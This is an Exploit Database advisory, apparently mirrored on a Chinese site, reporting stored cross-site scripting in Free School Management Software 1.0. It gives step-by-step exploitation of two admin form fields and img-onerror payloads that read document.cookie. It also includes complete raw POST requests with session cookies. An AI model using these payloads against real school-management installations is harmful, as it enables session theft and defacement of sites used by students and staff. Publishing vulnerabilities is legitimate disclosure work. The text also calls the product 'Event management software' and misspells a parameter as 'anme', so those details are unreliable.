Free School Management Software 1.0 – ‘multiple’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 124 阅读

• 作者： fuzzyap1
  日期： 2021-12-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50586/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107

  # Exploit Title: Free School Management Software 1.0 - &apos;multiple&apos; Stored Cross-Site Scripting (XSS) # Exploit Author: fuzzyap1 # Date: 7-12-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip # Version: 1.0 # Tested on: windows # Vulnerable page: http://localhost/admin/enquiry_category # Vulnerable Parameters: "category"   Technical description: A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more.   Steps to exploit: 1) Navigate to http://localhost/admin/enquiry_category 2) Insert your payload in the "category" parameter 3) Click "save"   Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(document.cookie)>   ---   POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------151631281127875309002088019539 Content-Length: 490 Origin: http://localhost Connection: close Referer: http://localhost/admin/enquiry_category Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63; ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0 Upgrade-Insecure-Requests: 1   -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="category"   This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)> -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="purpose"   Payment -----------------------------151631281127875309002088019539 Content-Disposition: form-data; name="whom"   Tutorial -----------------------------151631281127875309002088019539--   ---   Steps to exploit: 1) Navigate to http://localhost/admin/manage_profile 2) Insert your payload in the "anme" parameter 3) Click "save"   Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(&apos;xss&apos;)>   ---   POST /admin/manage_profile/update HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------13285163425854907563979323722 Content-Length: 519 Origin: http://localhost Connection: close Referer: http://localhost/admin/manage_profile Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16 Upgrade-Insecure-Requests: 1   -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="name"   Administrator"><img src=# onerror=alert(document.cookie)> -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="email"   admin@admin.com -----------------------------13285163425854907563979323722 Content-Disposition: form-data; name="userfile"; filename="" Content-Type: application/octet-stream     -----------------------------13285163425854907563979323722--   ---